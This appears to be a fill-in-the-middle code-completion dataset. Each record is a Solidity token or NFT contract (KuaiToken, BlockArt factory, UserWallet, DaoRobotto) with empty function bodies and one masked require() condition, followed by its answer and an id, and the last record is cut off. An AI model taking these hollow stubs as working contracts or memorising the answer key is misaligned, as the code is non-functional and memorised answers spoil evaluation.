Bloemen <remco@2π.com> * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public returns (bool) { } } contract BonusToken is BurnableToken, Operational { using SafeMath for uint; using DateTime for uint256; uint256 public createTime; uint256 standardDecimals = 100000000; uint256 minMakeBonusAmount = standardDecimals.mul(10); function BonusToken( address operator ) Operational(operator) {} function makeBonus(address[] _to, uint256[] _bonus) onlyOperator returns(bool) { } } contract KuaiMintableToken is BonusToken { uint256 public standardDailyLimit; // maximum amount of token can mint per day uint256 public dailyLimitLeft = standardDecimals.mul(1000000); // daily limit left uint256 public lastMintTime = 0; event Mint(address indexed operator, uint256 value, uint256 mintTime); event SetDailyLimit(address indexed operator, uint256 time); function KuaiMintableToken( address operator, uint256 _dailyLimit ) BonusToken(operator) { } // mint mintAmount token function mint(uint256 mintAmount) onlyOperator returns(uint256 _actualRelease) { uint256 timestamp = now; require(<FILL_ME>) balances[owner] = balances[owner].add(mintAmount); totalSupply = totalSupply.add(mintAmount); Mint(msg.sender, mintAmount, timestamp); return mintAmount; } function judgeIsReachDailyLimit(uint256 mintAmount, uint256 timestamp) internal returns(bool _exist) { } // set standard daily limit function setDailyLimit(uint256 _dailyLimit) onlyOwner returns(bool){ } } contract KuaiToken is KuaiMintableToken { string public standard = '2018010901'; string public name = 'KuaiToken'; string public symbol = 'KT'; uint8 public decimals = 8; function KuaiToken( address operator, uint256 dailyLimit ) KuaiMintableToken(operator, dailyLimit) {} }
!judgeIsReachDailyLimit(mintAmount,timestamp)
379,295
!judgeIsReachDailyLimit(mintAmount,timestamp)
"Style not listed"
// SPDX-License-Identifier: AGPL-3.0-or-later // Copyright (C) 2020 adrianleb // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity ^0.7.3; import "openzeppelin-solidity/contracts/access/Ownable.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./BArt.sol"; import "./BStyle.sol"; contract BlockArtFactory is Ownable { using Strings for string; using SafeMath for uint256; event StyleAdded(uint256 indexed styleId); event StyleRemoved(uint256 indexed styleId); event StyleFeeCollected( address indexed to, uint256 styleId, uint256 amount ); event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event ReMint(address indexed to, uint256 indexed tokenId); address public artsAddr; // art nft address public stylesAddr; // style nft uint256 public priceFloor; // minimum price for art nft mint uint256 public priceCeil; // max price for dutch auction for art nft mint uint256 public stylePrice; // fixed price for style nft mint uint256 public remintFee; // Cost of mutating a BlockArt metadata uint256 public dutchLength; // length of dutch price decrease; uint256 public coinsBalance = 0; // fees collected for treasury mapping(uint256 => uint256) scfb; // style collectable fee balance mapping(uint256 => uint256) psfb; // price set for block mapping(uint256 => bool) asl; // allowed styles list constructor(address _artsAddr, address _stylesAddr) { } /// @dev check in the style allow list modifier onlyStyleListed(uint256 styleId) { require(<FILL_ME>) _; } /// @dev check if sender owns token modifier onlyStyleOwner(uint256 styleId) { } /// @dev check if sender owns token modifier onlyArtOwner(uint256 artId) { } /// @dev Mint BlockArt NFTs, splits fees from value, /// @dev gives style highest between minimum/multiplier diff, and rest goes to treasury /// @param to The token receiver /// @param blockNumber The blocknumber associated /// @param styleId The style used /// @param metadata The tokenURI pointing to the metadata function mintArt( address to, uint256 blockNumber, uint256 styleId, string memory metadata ) external payable { } /// @dev owner of BlockArts can change their token metadata URI for a fee function remint(uint256 tokenId, string memory metadata) external payable onlyArtOwner(tokenId) { } /// @dev Calculate the cost of minting a BlockArt NFT for a given block and style /// @dev Starts with the price floor /// @dev Checks for existing price for block, or does dutch auction /// @dev Applies style fee multiplier or minimum fee, whichever is highest /// @param blockNumber Block number selected /// @param styleId BlockStyle ID selected function calcArtPrice(uint256 blockNumber, uint256 styleId) public view returns (uint256) { } /// @dev Mint BlockStyle NFTs, anyone can mint a BlockStyle NFT for a fee set by owner of contract /// @param to The token receiver /// @param cap Initial supply cap /// @param feeMul Initial Fee Multiplier /// @param feeMin Initial Minimum Fee /// @param canvas The token canvas URI function mintStyle( address to, uint256 cap, uint256 feeMul, uint256 feeMin, string memory canvas ) external payable { } /// @dev Checks if is possible to mint with selected Style function canMintWithStyle(uint256 styleId) public view onlyStyleListed(styleId) returns (uint256) { } /// @notice Withdrawals /// @dev BlockStyle owner collects style fees function collectStyleFees(uint256 styleId) external onlyStyleOwner(styleId) { } /// @dev Contract Owner collects treasury fees function collectCoins() external onlyOwner { } /// @dev Contract Owner collects balance function collectBalance() external onlyOwner { } /// @notice Getters function getStyleBalance(uint256 styleId) external view returns (uint256) { } function getCoinsBalance() external view returns (uint256) { } function getPriceCeil() external view returns (uint256) { } function getPriceFloor() external view returns (uint256) { } function getDutchLength() external view returns (uint256) { } /// @notice Internal Constants Management function setFloor(uint256 value) external onlyOwner { } function setCeil(uint256 value) external onlyOwner { } function setStylePrice(uint256 value) external onlyOwner { } function setDutchLength(uint256 value) external onlyOwner { } function setRemintFee(uint256 value) external onlyOwner { } function setStyleBaseURI(string memory uri) external onlyOwner { } function setArtContractURI(string memory uri) external onlyOwner { } /// @notice Allowed Styles List Management function addStyle(uint256 styleId) external onlyOwner { } function removeStyle(uint256 styleId) external onlyOwner { } function isStyleListed(uint256 styleId) public view returns (bool) { } /// @dev transfers ownership of blockart and blockstyle token contracts owned by factory function transferTokensOwnership(address to) external onlyOwner { } }
isStyleListed(styleId),"Style not listed"
379,435
isStyleListed(styleId)
"UserWallet: not enough token amount"
pragma solidity >=0.4.21 <0.6.0; contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address private _owner; constructor () internal { } function owner() public view returns (address) { } modifier onlyOwner() { } function isOwner() public view returns (bool) { } function transferOwnership(address newOwner) public onlyOwner { } function _transferOwnership(address newOwner) internal { } } contract ERC20Basic { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferOwnership(address newOwner) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract UserWallet is Ownable{ event TokenWithdraw(address from, address to, uint256 amount); event TokenSweep(address to, uint256 amount); ERC20Basic private _token; constructor (ERC20Basic token) public { } function balanceOfToken() public view returns (uint256) { } function _balanceOfToken() private view returns (uint256) { } function withdrawToken(address receiver, uint256 tokenAmount) public onlyOwner { } function _withdrawToken(address receiver, uint256 tokenAmount) private onlyOwner { require(receiver != address(0), 'UserWallet: require set receiver address, receiver is the zero address.'); require(tokenAmount > 0, "UserWallet: tokenAmount is 0"); require(<FILL_ME>) require(_token.transfer(receiver, tokenAmount)); emit TokenWithdraw(address(this), receiver, tokenAmount); } function sweep(address receiver) public onlyOwner { } function setNewOwner(address newOwner) public onlyOwner { } } contract GotchuWallet is Ownable{ string private _version = '0.1.0'; function generateUserWallet() public onlyOwner { } function version() public view returns (string memory){ } }
_balanceOfToken()>=tokenAmount,"UserWallet: not enough token amount"
379,486
_balanceOfToken()>=tokenAmount
null
pragma solidity >=0.4.21 <0.6.0; contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address private _owner; constructor () internal { } function owner() public view returns (address) { } modifier onlyOwner() { } function isOwner() public view returns (bool) { } function transferOwnership(address newOwner) public onlyOwner { } function _transferOwnership(address newOwner) internal { } } contract ERC20Basic { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferOwnership(address newOwner) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract UserWallet is Ownable{ event TokenWithdraw(address from, address to, uint256 amount); event TokenSweep(address to, uint256 amount); ERC20Basic private _token; constructor (ERC20Basic token) public { } function balanceOfToken() public view returns (uint256) { } function _balanceOfToken() private view returns (uint256) { } function withdrawToken(address receiver, uint256 tokenAmount) public onlyOwner { } function _withdrawToken(address receiver, uint256 tokenAmount) private onlyOwner { require(receiver != address(0), 'UserWallet: require set receiver address, receiver is the zero address.'); require(tokenAmount > 0, "UserWallet: tokenAmount is 0"); require(_balanceOfToken() >= tokenAmount, "UserWallet: not enough token amount"); require(<FILL_ME>) emit TokenWithdraw(address(this), receiver, tokenAmount); } function sweep(address receiver) public onlyOwner { } function setNewOwner(address newOwner) public onlyOwner { } } contract GotchuWallet is Ownable{ string private _version = '0.1.0'; function generateUserWallet() public onlyOwner { } function version() public view returns (string memory){ } }
_token.transfer(receiver,tokenAmount)
379,486
_token.transfer(receiver,tokenAmount)
null
pragma solidity >=0.4.21 <0.6.0; contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address private _owner; constructor () internal { } function owner() public view returns (address) { } modifier onlyOwner() { } function isOwner() public view returns (bool) { } function transferOwnership(address newOwner) public onlyOwner { } function _transferOwnership(address newOwner) internal { } } contract ERC20Basic { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferOwnership(address newOwner) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract UserWallet is Ownable{ event TokenWithdraw(address from, address to, uint256 amount); event TokenSweep(address to, uint256 amount); ERC20Basic private _token; constructor (ERC20Basic token) public { } function balanceOfToken() public view returns (uint256) { } function _balanceOfToken() private view returns (uint256) { } function withdrawToken(address receiver, uint256 tokenAmount) public onlyOwner { } function _withdrawToken(address receiver, uint256 tokenAmount) private onlyOwner { } function sweep(address receiver) public onlyOwner { require(receiver != address(0), 'UserWallet: require set receiver address, receiver is the zero address.'); require(<FILL_ME>) emit TokenSweep(receiver, _balanceOfToken()); } function setNewOwner(address newOwner) public onlyOwner { } } contract GotchuWallet is Ownable{ string private _version = '0.1.0'; function generateUserWallet() public onlyOwner { } function version() public view returns (string memory){ } }
_token.transfer(receiver,_balanceOfToken())
379,486
_token.transfer(receiver,_balanceOfToken())
"Token in the Blacklist..."
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(<FILL_ME>) require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner or approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
TokenSaleBlacklist[tokenId]==false,"Token in the Blacklist..."
379,534
TokenSaleBlacklist[tokenId]==false
null
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { require(!paused); require(_mintAmount > 0); require(<FILL_ME>) if (msg.sender != owner()) { uint256 WalletTokenCount = balanceOf(_to); require(WalletTokenCount + _mintAmount <= maxSupplyPerWallet); if(whitelisted[msg.sender] == true) { require(_mintAmount <= maxMintAmount); require(msg.value >= whitelistMinCost * _mintAmount); } else { require(_mintAmount <= maxMintAmount); require(msg.value >= cost * _mintAmount); } } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, MaxMintedtokenId + 1); MaxMintedtokenId++; tokenPresaleURI[MaxMintedtokenId] = presaleURI; } } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
MaxMintedtokenId+_mintAmount<=maxSupply
379,534
MaxMintedtokenId+_mintAmount<=maxSupply
"Fusion: caller is not owner or approved"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ if (msg.sender != owner()) { require(<FILL_ME>) } _burn(tokenId); } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
_isApprovedOrOwner(_msgSender(),tokenId)||AssociatedContracts[_msgSender()]==true,"Fusion: caller is not owner or approved"
379,534
_isApprovedOrOwner(_msgSender(),tokenId)||AssociatedContracts[_msgSender()]==true
"Fusion: caller is not owner or approved"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ if (msg.sender != owner()) { require(_isApprovedOrOwner(_msgSender(), tokenId), "Fusion: caller is not owner or approved"); require(<FILL_ME>) require(msg.value >= FusionCost); } else if (msg.sender == owner()){ address tokrnOwner = ownerOf(tokenId); address AttributeOwner = ownerOf(AttributeID); require(tokrnOwner == AttributeOwner); } burn(AttributeID); } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
_isApprovedOrOwner(_msgSender(),AttributeID),"Fusion: caller is not owner or approved"
379,534
_isApprovedOrOwner(_msgSender(),AttributeID)
"Fusion: caller is not owner or approved"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ if (msg.sender != owner()) { require(_isApprovedOrOwner(_msgSender(), tokenId), "Fusion: caller is not owner or approved"); require(<FILL_ME>) require(_isApprovedOrOwner(_msgSender(), Attribute2ID), "Fusion: caller is not owner or approved"); require(msg.value >= FusionCost); } else if (msg.sender == owner()){ address tokrnOwner = ownerOf(tokenId); address Attribute1Owner = ownerOf(Attribute1ID); address Attribute2Owner = ownerOf(Attribute2ID); require(tokrnOwner == Attribute1Owner && tokrnOwner == Attribute2Owner); } burn(Attribute1ID); burn(Attribute2ID); } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory 